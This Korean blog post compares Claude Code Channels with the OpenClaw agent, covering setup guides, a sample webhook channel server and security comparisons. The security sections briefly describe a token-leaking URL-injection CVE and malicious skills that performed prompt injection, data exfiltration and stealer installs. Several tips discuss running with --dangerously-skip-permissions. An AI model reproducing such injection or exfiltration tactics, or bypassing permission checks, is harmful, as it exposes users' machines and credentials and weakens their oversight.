stdio 트랜스포트로 연결한다 (Claude Code가 서브프로세스로 스폰)

ex) 공식 문서 내용 캡쳐

(출처: Channels reference - Claude Code Docs )

Push vs Pull — 아키텍처의 핵심 차이

일반 MCP 서버는 수동적(Pull)이다. Claude가 "이 도구 써" 하고 호출할 때까지 가만히 있다.

Channel은 이 관계를 뒤집는다(Push). 외부 이벤트가 발생하는 순간 — 텔레그램 메시지가 도착하든, CI 빌드가 실패하든, Datadog 알림이 울리든 — 즉시 Claude Code 세션에 밀어 넣는다.

이것이 왜 중요한가

기존: 터미널에 앉아서 프롬프트 입력 → Claude 응답 → 터미널 닫으면 끝.
Channels: Claude Code가 백그라운드에서 실행. 외부 이벤트가 도착. Claude가 프로젝트 컨텍스트를 유지한 채 처리. 터미널 앞에 앉아 있을 필요 없음.

One-way vs Two-way 채널

Channels는 두 가지 모드를 지원한다:

유형	동작	사용 예시
One-way	외부 → Claude로 이벤트 전달만. 응답 없음.	CI 실패 알림, 모니터링 경보, Webhook
Two-way	외부 → Claude + Claude → 외부 (reply tool)	텔레그램/디스코드 채팅, 원격 코드 리뷰

Two-way 채널은 reply tool을 노출하여 Claude가 같은 플랫폼으로 메시지를 보낼 수 있게 한다. 여기에 더해, 신뢰된 채널은 permission relay를 통해 도구 사용 승인/거부를 원격에서 할 수 있다.

(출처: Channels reference - Claude Code Docs)

Boris Cherny (Head of Claude Code)의 발표

Channels를 발표한 Boris Cherny(Anthropic, Head of Claude Code)는 Threads에서 다음과 같이 소개했다:
"We just released Claude Code channels in research preview. It allows you to control your Claude Code session through select MCPs, starting with Telegram and Discord."
(Claude는 이제 research preview 단계의 Claude Code channels를 공개했으며, 이를 통해 Telegram이나 Discord 같은 일부 MCP를 이용해 Claude Code 세션을 외부에서 제어할 수 있게 되었습니다.)

커뮤니티에서는 Channels를 Remote Control의 개발자 중심 대응물로 해석하고 있다. Remote Control이 세련된 모바일 UI를 제공한다면, Channels는 개발자가 MCP 프로토콜을 통해 원하는 시스템을 직접 연결할 수 있는 구조다.
(출처: Boris Cherny Threads, 2026-03-20)

2. OpenClaw란 무엇인가

- OpenClaw는 최대한 간단히 설명하고 넘어간다.

탄생 배경과 성장

OpenClaw는 오스트리아 개발자 Peter Steinberger가 만든 오픈소스 AI 에이전트다.

2025년 11월에 Clawdbot이라는 이름으로 처음 공개되었고, Anthropic의 상표 문제로 2026년 1월 27일 Moltbot으로 개명, 약 2일 뒤인 1월 29일 OpenClaw로 최종 변경했다.

GitHub에서 24만 7천+ 스타(3월 초 기준), 4만 7천 포크를 기록하며 폭발적으로 성장했다.

메시징 플랫폼을 통해 LLM 에이전트와 상호작용하는 패턴을 대중화한 프로젝트다. 2026년 2월, Steinberger는 OpenAI에 합류했다.

(출처: OpenClaw - Wikipedia, Fortune)

서버 기반 Always-on 아키텍처

OpenClaw의 핵심 차별점은 서버에서 상시 실행된다는 점이다.

아키텍처는 Gateway(클라우드 컨트롤 플레인) + Node(로컬 디바이스)의 하이브리드 구조다.

일반적으로는 EC2/VPS에 Gateway를 띄워 24시간 운영하지만, 로컬에서도 실행할 수 있다. 로컬 PC가 꺼져 있어도 서버 Gateway가 살아있으면 텔레그램 메시지를 보내 작업을 시킬 수 있다.

지원 플랫폼도 압도적이다:

WhatsApp, Telegram, Discord, Slack, Signal, iMessage
Google Chat, Microsoft Teams, Matrix, Twitch, Zalo, WebChat

다만 이 자유도는 양날의 검이다. OpenClaw 메인테이너 중 한 명은 이렇게 경고했다:

"If you can't understand how to run a command line, this is far too dangerous of a project for you to use safely."
(command line 실행 방법조차 잘 모른다면, 이 프로젝트를 안전하게 다루기에는 위험성이 너무 큽니다.)

그리고 이 경고는 과장이 아니었다. 실제로 심각한 보안 사고들이 연이어 발생했다.

⚠️ OpenClaw 보안 사고 타임라인

CVE-2026-25253 (CVSS 8.8): URL 파라미터 인젝션을 통한 1-click RCE. Control UI가 쿼리 스트링의 gatewayUrl을 검증 없이 수용하여, 악성 링크 클릭만으로 WebSocket 연결 시 인증 토큰이 공격자 서버로 전송됨. 에이전트 전체 제어 가능. v2026.1.29에서 패치됨. (출처: SOCRadar)
42,000~135,000+ 공개 노출 인스턴스: 독립 보안 연구원 Maor Dayan이 약 42,000개, SecurityScorecard STRIKE 팀이 135,000+개의 공개 노출 인스턴스를 각각 발견했다. (출처: CrowdStrike 종합 리포트)
ClawHub 악성 스킬: Koi Security가 "ClawHavoc" 캠페인을 처음 발견(2,857개 중 341개 악성), 이후 Bitdefender 감사에서 10,700+개 스킬 중 824+개가 악성으로 판명됨. (출처: AuthMind, Koi Security, Bitdefender)
Moltbook 데이터 유출: 연관 소셜 네트워크에서 약 3.5만 개 이메일, 150만 개 API 키/에이전트 토큰, 475만 건의 레코드가 유출됨. (출처: Wiz Blog)
macOS 스틸러 배포: Trend Micro가 악성 OpenClaw 스킬을 통한 Atomic macOS Stealer 배포를 발견. (출처: Trend Micro)

이 상황에 대응하여 보안 강화 프로젝트들이 등장했다:

NVIDIA NemoClaw: GTC 2026(3/16)에서 발표. OpenShell + K3s 컨테이너 샌드박스 + 정책 엔진으로 OpenClaw를 래핑 (출처: TNW)
ComposioHQ/secure-openclaw: API 키와 OAuth 토큰을 Composio 인프라로 관리, 평문 저장 방지
HKUDS/nanobot: 43만줄 → 4천줄로 축소한 경량 대안. 공격 표면 자체를 줄이는 접근

3. 아키텍처 비교: 근본적인 차이

겉보기에는 둘 다 "채팅 앱에서 AI 에이전트를 제어"하는 것이지만, 내부 아키텍처는 근본적으로 다르다.

Channels: 로컬 MCP 이벤트 수신 모델

Channels의 데이터 흐름을 도식화하면 이렇다:

  Phone (Telegram/Discord)
     ↓ 메시지 전송
☁️  Bot API (Telegram/Discord 서버)
     ↑ 로컬 플러그인이 이벤트 수신 (Telegram: long-polling / Discord: WebSocket)
  Local MCP Plugin (Bun 프로세스, 내 머신에서 실행)
     ↓ <channel> 이벤트로 래핑
  Claude Code 세션 (로컬 터미널)
     ↓ 코드 실행, 파일 수정
     ↓ reply tool 호출
  Local MCP Plugin → ☁️ Bot API →   결과가 폰에 표시

주요 포인트:

모든 것이 로컬에서 실행된다. MCP 플러그인은 내 머신에서 돌아가며, Bot API에서 이벤트를 수신한다(Telegram은 long-polling, Discord은 WebSocket Gateway 사용).
인바운드 포트가 없다. 내 머신으로 들어오는 연결은 없다. 외부에 노출되는 것은 아무것도 없다.
세션 의존적이다. Claude Code 세션이 종료되면 채널도 함께 종료된다.

OpenClaw: 서버 기반 상시 실행 모델

  Phone (WhatsApp/Telegram/Discord/Signal/iMessage...)
     ↓ 메시지 전송
☁️  메시징 플랫폼 API
     ↓
 ️  OpenClaw 서버 (EC2/VPS/Docker — 24시간 실행)
     ↓ LLM API 호출 (Claude, GPT 등)
☁️  AI Provider API
     ↓ 응답
 ️  OpenClaw 서버 → 메시징 플랫폼 →   결과 표시

핵심 포인트:

서버에서 독립적으로 실행된다. 내 PC가 꺼져 있어도 서버가 살아있으면 동작한다.
다양한 LLM을 지원한다. Claude뿐 아니라 GPT, 기타 LLM도 연결 가능하다.
로컬 파일 시스템에 직접 접근하지 않는다. 서버의 파일 시스템에 접근한다.

핵심 차이점 비교표

항목	Claude Code Channels	OpenClaw
실행 위치	로컬 머신 (내 PC/Mac)	서버 (EC2, VPS, Docker)
세션 유지	Claude Code 세션 종료 시 함께 종료	서버가 살아있는 한 24/7 상시 실행
기반 기술	MCP 프로토콜 (stdio)	독자 아키텍처 + LLM API
로컬 파일 접근	내 PC의 프로젝트 파일 직접 접근	서버의 파일 시스템만 접근
지원 LLM	Claude만	Claude, GPT, 기타 LLM
인바운드 포트	없음 (아웃바운드 연결만)	서버 설정에 따라 다름
제공자	Anthropic 공식	커뮤니티 오픈소스
필요 구독	Pro/Max (claude.ai 로그인 필수)	각 LLM의 API 키

비용 참고

Channels: Claude Pro($20/월) 또는 Max($100~200/월, 5x/20x 티어) 구독이 필요하다. 추가 서버 비용은 없지만, 구독료가 고정 비용으로 발생한다.
OpenClaw: 소프트웨어 자체는 무료 오픈소스다. 다만 사용하려는 LLM의 API 키 비용(사용량 기반)과, 24시간 운영 시 서버 호스팅 비용(EC2/VPS 등)이 별도로 발생한다.

Channels 플러그인이 Claude에게 제공하는 도구

텔레그램과 디스코드 플러그인이 Claude에게 노출하는 도구가 다르다. 디스코드가 더 풍부하다:

도구	Telegram	Discord	설명
`reply`	O	O	메시지 전송. 파일 첨부 가능 (Telegram 50MB, Discord 25MB — 각 플랫폼 Bot API 제한 기준)
`react`	O	O	이모지 리액션 추가
`edit_message`	O	O	봇이 보낸 메시지 수정 ("작업 중..." → 결과)
`fetch_messages`	X	O	최근 메시지 히스토리 조회 (최대 100건)
`download_attachment`	X	v	첨부 파일 다운로드 → `~/.claude/channels/discord/inbox/`

차이점 : Telegram Bot API는 메시지 히스토리와 검색을 제공하지 않는다. 디스코드는 fetch_messages로 과거 메시지를 조회할 수 있다.

(출처: claude-plugins-official GitHub README)

한 줄 요약

Channels는 "내 PC에서 실행 중인 Claude Code를 원격 제어"하는 것이고, OpenClaw는 "클라우드 서버의 AI 에이전트를 메시징으로 제어"하는 것이다. 근본적으로 다른 접근이다.

4. 보안 비교

보안은 이 두 가지를 비교할 때 가장 큰 차이가 나는 영역이다.

Channels: Pairing Code + Allowlist + Localhost

Channels는 보안을 여러 단계로 나눠 적용한다:

Pairing Code 인증: 텔레그램/디스코드에서 봇에게 메시지를 보내면 페어링 코드가 발급된다. 이 코드를 Claude Code에 입력해야 연결이 완료된다. 봇은 페어링된 유저 ID의 메시지만 처리하고, 같은 디스코드 서버의 다른 사용자 메시지는 무시한다.
Allowlist 기반 플러그인: 리서치 프리뷰 기간에는 Anthropic이 승인한 플러그인만 사용 가능하다. 커스텀 채널은 --dangerously-load-development-channels 플래그가 필요하다.
Localhost 전용: 인바운드 포트가 없다. 모든 통신은 로컬 플러그인에서 외부 API로의 아웃바운드 연결이다.
Sender Allowlist 기반 발신자 검증: 비인가 사용자의 메시지 전송을 차단하는 발신자 허용 목록(allowlist) 메커니즘이 내장되어 있다. (단, 인가된 사용자의 메시지 내 프롬프트 인젝션까지 방지하지는 않는다.)
Permission Relay: 도구 사용 승인을 원격 채널로 전달하여, 텔레그램에서 파일 쓰기/명령 실행을 승인/거부할 수 있다.

(출처: Channels reference - Claude Code Docs)

OpenClaw: 자유도 높지만 보안은 직접 관리

OpenClaw는 커뮤니티 오픈소스답게 자유도가 높지만, 보안 사고도 발생했다:

Cisco AI 보안팀 발견

Cisco의 AI 보안 연구팀이 서드파티 OpenClaw 스킬을 테스트한 결과, 사용자 모르게 데이터 유출(data exfiltration)과 프롬프트 인젝션이 수행되는 것을 발견했다.
이는 서드파티 스킬 생태계의 검증 체계가 상대적으로 느슨한 점이 한 원인으로 보인다. Cisco 보고서 자체는 OpenClaw 스킬의 취약점에 초점을 맞추고 있으며, 다른 플랫폼과의 직접 비교는 포함하지 않았다.

이 문제에 대응하여 secure-openclaw (ComposioHQ) 같은 보안 강화 포크가 등장했다. 하지만 근본적으로 "취미 프로젝트에서 동작하는 것"과 "엔터프라이즈 보안 리뷰를 통과하는 것"의 차이는 아키텍처 설계 레벨에서 발생한다.

보안 비교표

보안 항목	Channels	OpenClaw
인증	Pairing Code + 유저 ID 잠금	User ID 기반 인증 지원. 추가로 API 키, OAuth 등 다양한 방식 설정 가능 (직접 관리)
플러그인/스킬 검증	Anthropic 공식 Allowlist (리서치 프리뷰 기간)	커뮤니티 기반. Cisco Skill Scanner 등 서드파티 검증 도구가 등장했으나, 공식 검증 체계는 없음
네트워크 노출	인바운드 포트 없음 (localhost만)	서버 포트 노출 가능. 리버스 프록시 + 방화벽으로 완화 가능하나 설정은 사용자 몫
프롬프트 인젝션 대응	Sender allowlist 기반 발신자 검증 내장	기본 내장 기능은 없으나, Cisco Skill Scanner 등 외부 도구로 스킬 사전 검사 가능
보안 업데이트	Anthropic 공식 업데이트	커뮤니티 주도 (CVE 패치는 비교적 빠르게 대응 — CVE-2026-25253은 며칠 내 패치됨)
권한 제어	Permission Relay (원격 승인/거부)	역할 기반 권한 설정 가능. 세밀도는 설정에 따라 다름
엔터프라이즈	Team/Enterprise 관리자 제어 가능	공식 엔터프라이즈 지원 없음. NVIDIA NemoClaw 등 서드파티 엔터프라이즈 래퍼 존재

5. 지원 플랫폼 비교(현 시점 3월 24일 기준)

플랫폼	Channels	OpenClaw
Telegram	O	O
Discord	O	O
WhatsApp	X	O
Slack	X (별도 Slack 연동 존재)	O
Signal	X	O
iMessage	X	O
Microsoft Teams	X	O
Google Chat	X	O
Matrix	X	O
Fakechat (로컬 테스트)	O	X
커스텀 채널/Webhook	O (MCP 서버로 직접 구축)	O (스킬/플러그인)

플랫폼 수만 보면 OpenClaw가 압도적

하지만 Channels는 플러그인 아키텍처로 설계되어 있어 구조적으로 확장 가능하다.
단, 리서치 프리뷰 기간에는 --channels 플래그가 Anthropic이 관리하는 허용 목록의 공식 플러그인(Telegram, Discord, Fakechat)만 수락한다. 직접 만든 커스텀 채널은 --dangerously-load-development-channels 플래그로만 테스트 가능하다. 참고로 카카오톡은 두 도구 모두 공식적으로 미지원이다. (computer use 등을 활용해서 보낼순 있겠지만 .. )

6. Channels 셋업 가이드

요구사항

필수 조건

Claude Code v2.1.80 이상
claude.ai 로그인 필수 (API 키 인증은 지원하지 않음)
Bun 런타임 설치 (프리빌트 플러그인이 Bun 기반, 커스텀 채널은 Node/Deno도 가능) — 미설치 시: curl -fsSL https://bun.sh/install | bash
Pro 또는 Max 구독
Team/Enterprise는 관리자가 channelsEnabled를 명시적으로 활성화해야 함

(출처: Channels reference - Claude Code Docs)

Telegram 설정

Step 1: Telegram 앱 열기 (모바일/데스크톱 모두 가능)

↓

Step 2: 상단 검색창에 @BotFather 검색 → 클릭해서 채팅 시작

↓

Step 3: 채팅창에 /newbot 입력 후 전송

↓

Step 4: BotFather가 질문하면 답변 입력

• "봇 이름?" → My claude_code_bot (자유롭게)

• "봇 username?" → my_claude_code_bot (반드시 bot으로 끝나야 함)

↓

Step 5: 토큰 발급 완료! (채팅으로 토큰이 표시됨)

Step 2. Claude Code에서 플러그인을 설치한다:

# Telegram 플러그인 설치
/plugin install telegram@claude-plugins-official

# "plugin not found" 오류가 나면 마켓플레이스를 추가/갱신 후 재시도
/plugin marketplace add anthropics/claude-plugins-official   # 마켓플레이스가 없는 경우
/plugin marketplace update claude-plugins-official           # 이미 있지만 오래된 경우

# claude code를 재기동 하자.

# BotFather에서 받은 토큰으로 설정
/telegram:configure <YOUR_BOT_TOKEN>

# 설치 후 반드시 실행 — configure 커맨드를 활성화한다
/reload-plugins

/plugin install telegram@claude-plugins-official

이후 난 claude code 세션을 종료하고 다시 시작하였다. 이후 다음 명령어로 설정

/telegram:configure <YOUR_BOT_TOKEN>

Step 3. Channels 플래그로 Claude Code를 시작한다:

claude --channels plugin:telegram@claude-plugins-official

ex)

Step 4. Telegram에서 봇에게 아무 메시지나 보내면 페어링 코드가 발급된다. Claude Code에서 다음 커맨드로 연결을 완료하고, 즉시 allowlist 모드로 전환해 다른 사람의 접근을 차단한다:

# 페어링 코드로 내 계정을 봇에 연결
/telegram:access pair <code>

# 보안: 즉시 allowlist 모드로 전환 (본인 외 접근 차단)
/telegram:access policy allowlist

팁: 파일 첨부 지원

텔레그램에서 Claude Code로 이미지를 보낼 수 있다 — 모바일 앱 디버깅 중 스크린샷을 보내는 용도로 유용하다. 반대로 Claude도 파일을 텔레그램으로 보낼 수 있으며, 이미지는 인라인 렌더링, 기타 파일은 문서로 전송된다 (파일당 50MB 제한 — Telegram Bot API 기준).

ex) /mybots > 여러가지 봇들중 방금 추가한 봇 클릭 > @방금만든봇 클릭

- /start 입력 또는 클릭 > 아무말이나 걸면 pair 코드를 발급해 준다.

- 상기 명령어를 그대로 복사하여 붙여넣으면 알아서 세팅을 진행한다.

- 페어링 완료. 바로 테스트 해보자.

- 텔레그램에서 먼저 인사를 해보자. 방가 방가 / 답변이 오는것을 볼 수 있다.

- 내 PC의 claude code로 돌아가봐도 양쪽으로 메세지가 오가는 모습, 즉 연결된것을 볼 수 있다.

Discord 설정

Step 1. Discord Developer Portal에서 New Application 클릭. 이름 설정 후 Bot 메뉴에서 토큰 생성. Privileged Gateway Intents에서 Message Content Intent를 반드시 활성화한다 — 이것 없이는 봇이 메시지 내용을 읽을 수 없다.

Step 2. OAuth2 > URL Generator에서 bot 스코프를 선택하고 필요한 권한을 설정한다:

View Channels, Send Messages, Send Messages in Threads
Read Message History, Attach Files, Add Reactions

생성된 URL로 봇을 서버에 초대한다.

Step 3. Claude Code에서 설치 및 설정:

# Discord 플러그인 설치
/plugin install discord@claude-plugins-official

# "plugin not found" 오류가 나면 마켓플레이스를 추가/갱신 후 재시도
/plugin marketplace add anthropics/claude-plugins-official   # 마켓플레이스가 없는 경우
/plugin marketplace update claude-plugins-official           # 이미 있지만 오래된 경우

# 설치 후 반드시 실행 — configure 커맨드를 활성화한다
/reload-plugins

# 봇 토큰 설정
/discord:configure <YOUR_BOT_TOKEN>

# Channels 플래그로 시작
claude --channels plugin:discord@claude-plugins-official

Step 4. Discord에서 봇에게 DM을 보내면 페어링 코드가 발급된다. Claude Code에서 다음 커맨드로 연결을 완료하고 즉시 allowlist 모드로 전환한다:

# 페어링 코드로 내 계정을 봇에 연결
/discord:access pair <code>

# 보안: 즉시 allowlist 모드로 전환 (같은 서버의 다른 사용자 접근 차단)
/discord:access policy allowlist

Fakechat으로 로컬 테스트

외부 서비스 없이 채널 아키텍처를 테스트하고 싶다면 Fakechat을 사용한다. Anthropic이 공식 제공하는 localhost 데모 채널이다.

/plugin install fakechat@claude-plugins-official
claude --channels plugin:fakechat@claude-plugins-official

브라우저에서 http://localhost:8787에 채팅 UI가 열린다. 메시지를 입력하면 Claude Code 세션에 도착하고, Claude가 응답하면 브라우저에 표시된다. 인증도, 외부 서비스도, API 키도 필요 없다.

추천: Fakechat으로 먼저 이해하기

이벤트 흐름을 이해한 뒤에 Telegram이나 Discord로 전환하는 것을 권장한다. Fakechat으로 <channel> 태그가 어떻게 생성되고, reply tool이 어떻게 동작하는지 먼저 체험할 수 있다.

(출처: DEV.to - Claude Code Channels: How Anthropic Built a Two-Way Bridge)

7. 커스텀 채널 만들기

Channels의 유용한 점은 직접 채널을 만들 수 있다는 점에 있다.

CI 파이프라인, 모니터링 시스템, 커스텀 Webhook 등을 Claude Code 세션에 연결할 수 있다.

Webhook Receiver 예제

공식 문서의 예제를 기반으로, HTTP POST를 받아 Claude Code 세션에 전달하는 최소 채널 서버를 만들어 본다. 먼저 프로젝트를 세팅한다:

mkdir webhook-channel && cd webhook-channel
bun add @modelcontextprotocol/sdk

// webhook.ts — 전체 채널 서버 (Bun)
import { Server } from '@modelcontextprotocol/sdk/server/index.js';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';

// MCP 서버 생성 + 채널 capability 선언
const mcp = new Server(
  { name: 'webhook', version: '0.0.1' },
  {
    // 이 키가 채널의 핵심 — Claude Code가 알림 리스너를 등록한다
    capabilities: { experimental: { 'claude/channel': {} } },
    // Claude의 시스템 프롬프트에 추가되어 이벤트 처리 방법을 안내
    instructions: 'Events from the webhook channel arrive as <channel source="webhook" ...>. Read them and act, no reply expected.'
  }
);

// stdio로 Claude Code에 연결
await mcp.connect(new StdioServerTransport());

// HTTP 서버 — POST를 받아 Claude에 전달
Bun.serve({
  port: 8788,
  hostname: '127.0.0.1', // localhost 전용
  async fetch(req) {
    const body = await req.text();
    await mcp.notification({
      method: 'notifications/claude/channel',
      params: {
        content: body,
        meta: { path: new URL(req.url).pathname, method: req.method }
        // ⚠️ meta 키에 하이픈(-) 포함 시 Claude Code가 자동으로 무시함
        // 예: 'content-type' → 사용 불가 / 'contentType' → 정상 작동
      }
    });
    return new Response('ok');
  }
});

MCP 설정 파일 (.mcp.json):

{
  "mcpServers": {
    "webhook": {
      "command": "bun",
      "args": ["./webhook.ts"]
    }
  }
}

테스트:

# 개발 채널 로딩 (리서치 프리뷰 기간 필수)
claude --dangerously-load-development-channels server:webhook

# 다른 터미널에서 CI 실패 시뮬레이션
curl -X POST localhost:8788 -d "build failed on main: https://ci.example.com/run/1234"

Claude Code 세션에 이렇게 도착한다:

<channel source="webhook" path="/" method="POST">
  build failed on main: https://ci.example.com/run/1234
</channel>

Claude가 이 메시지를 받아 파일을 읽고, 명령을 실행하고, 빌드 실패를 분석하기 시작한다.

(출처: Channels reference - Claude Code Docs)

8. 활용 사례

MacStories의 런치 나이트 테스트

Channels의 실전 가능성을 가장 잘 보여준 것은 MacStories의 런치 나이트 리뷰다. 출시 당일, 터미널을 한 번도 건드리지 않고 아이폰의 텔레그램만으로 다음을 수행했다:

iOS 프로젝트 빌드 + 배포: xcodebuild로 iOS 앱을 빌드하고, 채팅 중이던 아이폰에 무선으로 배포
Readwise Reader CLI: "NPC" 태그가 붙은 83개 글 목록 수집
팟캐스트 오디오 트랜스크립션: Claude Code 스킬로 오디오 변환 → 정리 → TXT, SRT, 마크다운 리포트를 아이폰으로 수신

중요: --dangerously-skip-permissions 트레이드오프

MacStories 테스트에서는 --dangerously-skip-permissions 플래그를 사용했다. 이 플래그 없이는 파일 쓰기, 명령 실행, 빌드 등 매 단계마다 터미널에서 권한 승인이 필요하다.

현재의 트레이드오프: 완전한 원격 제어 또는 권한 안전성. 둘 다는 아직 안 된다. Permission Relay 기능이 이 격차를 줄이는 방향이지만, 아직 초기 단계이다.

(출처: DEV.to - Channels 아키텍처 분석)

Permission Relay: 원격에서 도구 승인하기

Permission Relay는 --dangerously-skip-permissions의 대안이 될 수 있는 기능이다. 채널을 통해 도구 사용 승인 요청을 원격으로 전달한다:

Claude가 파일 쓰기 등 권한이 필요한 도구를 호출하려 한다
승인 요청이 텔레그램/디스코드 채팅으로 전달된다
사용자가 채팅에서 승인/거부를 선택한다
결과가 Claude Code 세션에 전달되어 실행이 계속된다

이를 통해 터미널 앞에 앉아있지 않으면서도 권한 제어를 유지할 수 있다. 다만, 공식 문서에서 이 기능은 신뢰된 발신자 경로가 있는 채널에서만 작동하며, sender allowlist가 올바르게 설정되어야 한다고 명시하고 있다.

(출처: Channels reference - Claude Code Docs)

9. 제한사항과 주의사항

Channels의 제한사항

세션 종료 시 비활성: Claude Code 세션이 종료되면 채널도 함께 종료된다. PC를 잠그거나 Claude Code를 닫으면 메시지를 받을 수 없다. 팁: tmux나 screen 안에서 claude --channels ...를 실행하면 터미널을 닫아도 세션이 유지된다.
메시지 히스토리 없음 (Telegram): Telegram Bot API는 메시지 히스토리를 제공하지 않는다. 세션이 꺼져 있을 때 보낸 메시지는 유실된다.
리서치 프리뷰: --channels 플래그 문법과 알림 프로토콜이 변경될 수 있다. 안정 릴리스 시점은 공식적으로 발표되지 않았다.
API 키 미지원: claude.ai 로그인만 지원한다. Console이나 API 키 인증으로는 사용할 수 없다.
권한 관리: --dangerously-skip-permissions 없이는 매번 터미널에서 승인이 필요하다. Permission Relay가 대안이지만 아직 초기 단계다.

OpenClaw의 제한사항

보안 직접 관리: 서드파티 스킬의 보안 검증이 사용자 책임이다. Cisco가 발견한 데이터 유출 사례처럼, 검증 없이 스킬을 설치하면 위험하다.
서버 운영 비용: 24시간 실행을 위해 EC2/VPS 비용이 추가로 발생한다.
설정 복잡도: 다양한 플랫폼 지원은 장점이지만, 초기 설정의 복잡도도 높다.
로컬 프로젝트 접근 한계: 내 PC의 프로젝트 파일에 직접 접근할 수 없다. 서버에 코드를 배치해야 한다.

10. 커뮤니티 반응과 실전 팁

Channels 발표 직후, 개발자 커뮤니티의 반응은 폭발적이었다.

개발자 반응 하이라이트

Ethan Mollick (와튼 교수, AI 인플루언서)

"Claude 팀이 OpenClaw 같은 것에서 배우고 이런 기능을 매일같이 출시할 수 있다는 것은, AI 기반 코딩 팀에게 매우 다른 소프트웨어 개발 프로세스가 가능하다는 강력한 논거다."

Boris Vagner (개발자)

"Claude Code는 지금 차원이 다르다. 어제 Dispatch를 세팅하고 폰에서 기능 추가, 업데이트 배포를 마찰 없이 해냈다. 2시간 전에 Discord + Telegram 채널이 나왔는데, 세팅하고 나니 정말 놀랍다."

Sarvesh Shrivastava (개발자)

"무슨 일이 일어난 건지 이해하겠는가 — 이제 텔레그램으로 Claude Code에 문자를 보내면, 내가 자리를 비운 사이에 컴퓨터가 작업을 하고 있고, 돌아오면 완성된 작업이 있다. 몇 주 전까지만 해도 AI 에이전트를 위해 Mac Mini를 24시간 돌려야 했는데."

흥미로운 관점 — Daniel San

"Claude Code Channels가 나왔다. 세션을 텔레그램/디스코드로 제어할 수 있다. 하지만 우리는 이미 앱과 Remote Control로 이걸 할 수 있었다. 그런데 왜 메시징 플랫폼인가? 이 플랫폼들이 완전히 다른 수준의 인터랙션을 열어주기 때문이다."

반면, 일본의 한 CEO는 좀 더 냉정한 평가를 내놓기도 했다:

"Claude Code Channels를 즉시 구현해봤다. Discord 연결까지 약 5분. 다만 Discord에서 다른 폴더를 실행할 수 없어서 Remote Control과 큰 차이를 느끼지 못했다." — Chaen (Digirise CEO)

커뮤니티에 기반의 팁

Tip 1. "Channels are not currently available" 오류 해결

~/.claude/settings.json에서 텔레메트리 관련 환경변수가 설정되어 있으면 Channels가 비활성화된다. 해결법:

# settings.json에서 DISABLE_TELEMETRY 환경변수를 완전히 제거해야 한다
# 값을 0으로 설정해도 동작하지 않는다 — 키 자체를 삭제해야 한다
jq 'del(.env.DISABLE_TELEMETRY)' ~/.claude/settings.json > /tmp/s.json && mv /tmp/s.json ~/.claude/settings.json

(출처: @janxin, X) ⚠️ 커뮤니티 팁이며 공식 문서 미확인. 적용 전 백업 권장 한다.

Tip 2. 응답 시간 기대치

커뮤니티 테스트 결과, 대략적인 응답 시간은 다음과 같다:

작업 유형	대략적 응답 시간
메시지 → Claude 반응 시작	약 3~5초
간단한 명령 (테스트 실행, 파일 확인)	10~30초
복잡한 작업 (빌드, 대규모 파일 작업)	수 분

⚠️ 이 수치는 커뮤니티 경험 기반의 추정이며, 네트워크 환경과 작업 복잡도에 따라 달라질 수 있다.

Tip 3. 토큰 사용량 주의

채널을 통한 모든 활동은 Claude Code 토큰 쿼터를 소비한다. Pro 플랜 사용자는 장시간 비동기 작업 시 일일 한도에 도달할 수 있으므로, 작업 범위를 특정 프로젝트 디렉토리로 제한하는 것이 좋다.

Tip 4. skip-permissions 보안 가이드

ShareUHack의 핸즈온 리뷰에 따르면: 모니터링 용도에는 기본 모드를, 자동 작업에는 --dangerously-skip-permissions를 사용하되 작업 범위를 특정 프로젝트 디렉토리로 제한할 것을 권장한다. "누가 메시지를 보내는가"는 보호하지만, "Claude가 메시지를 받은 후 무엇을 하는가"는 skip-permissions 모드에서 보호할 수 없다.

Tip 5. 텔레그램 + 디스코드 동시 사용

--channels 플래그에 플러그인을 공백으로 구분하면 두 채널을 동시에 실행할 수 있다:

claude --channels plugin:telegram@claude-plugins-official plugin:discord@claude-plugins-official

각 채널은 독립적이다. 텔레그램 메시지에는 텔레그램으로, 디스코드 메시지에는 디스코드로 응답한다.

Tip 6. tmux 자동 재시작으로 세션 유지

세션이 크래시되더라도 자동으로 재시작되는 패턴:

# 크래시 시 5초 후 자동 재시작
tmux new -s claude-channels 'while true; do claude --channels plugin:telegram@claude-plugins-official; sleep 5; done'

# 나중에 다시 붙기
tmux attach -t claude-channels

"낮에 외출, 밤에 복귀" 패턴에 적합하다. 다만 진정한 24/7 데몬은 아니므로, 상시 실행이 필요하면 OpenClaw가 여전히 더 적합하다.

보안 필수: 페어링 직후 allowlist 모드로 전환 (섹션 6의 Step 4에서 이미 다룸)

페어링 모드에서는 봇에게 메시지를 보내는 누구나 페어링 코드를 받을 수 있다. 셋업 가이드(섹션 6)의 Step 4에서 이미 다뤘지만 다시 강조한다 — 페어링 직후 반드시 실행해야 한다:

/telegram:access policy allowlist
/discord:access policy allowlist

커뮤니티가 가장 원하는 기능

X와 Hacker News에서 반복적으로 등장하는 기능 요청:

iMessage 지원 — 압도적 1위 요청. Apple 생태계 사용자의 숙원
Slack 연동 — 이미 Claude Code에 별도 Slack 통합이 있지만, Channels 형태의 양방향 연동 요청
데몬화/영구 세션 — 세션 종료 없이 항시 실행되는 Channels 모드
WhatsApp 통합 — OpenClaw 사용자들이 가장 아쉬워하는 플랫폼

Channels 위에 만들어진 커뮤니티 프로젝트

출시 며칠 만에 개발자들이 Channels API 위에 흥미로운 확장을 만들기 시작했다:

Agent HTTP: Channels를 HTTP API로 래핑하여, REST 호출로 Claude Code를 원격 제어하는 프로젝트 (HN)
Discord-to-tmux 브릿지: 디스코드 메시지를 tmux 세션과 연동. 권한 프롬프트를 디스코드로 전달하는 기능 포함 (HN, GitHub)
claude-hub: GitHub Webhook 서비스. PR과 이슈에서 @멘션으로 Claude Code가 코드 지원을 제공 (GitHub)
Codeman: Claude Code 세션을 WebUI로 관리. 권한 프롬프트 시 데스크톱 알림 지원 (GitHub)

전반적 분위기

대체로 긍정적. "폰에서 문자 보내면 집 컴퓨터가 코드를 짠다"는 패러다임에 대한 흥분이 지배적이다. 다만 "Remote Control과 큰 차이 없다"는 냉정한 시각과, 토큰 비용 및 skip-permissions 보안 우려도 20% 정도 존재한다. "OpenClaw 킬러"라는 프레이밍은 화제가 되었지만, 20개 이상의 플랫폼 지원과 모델 유연성을 가진 OpenClaw의 장점을 지적하는 반론도 있다.

11. 결론: 어떤 것을 선택할까

Channels와 OpenClaw는 "채팅 앱으로 AI를 제어한다"는 같은 겉모습 아래 근본적으로 다른 철학을 품고 있다.

이런 사람에게	Channels가 맞다	OpenClaw가 맞다
사용 목적	로컬 프로젝트를 원격 제어하고 싶다	24시간 상시 AI 비서가 필요하다
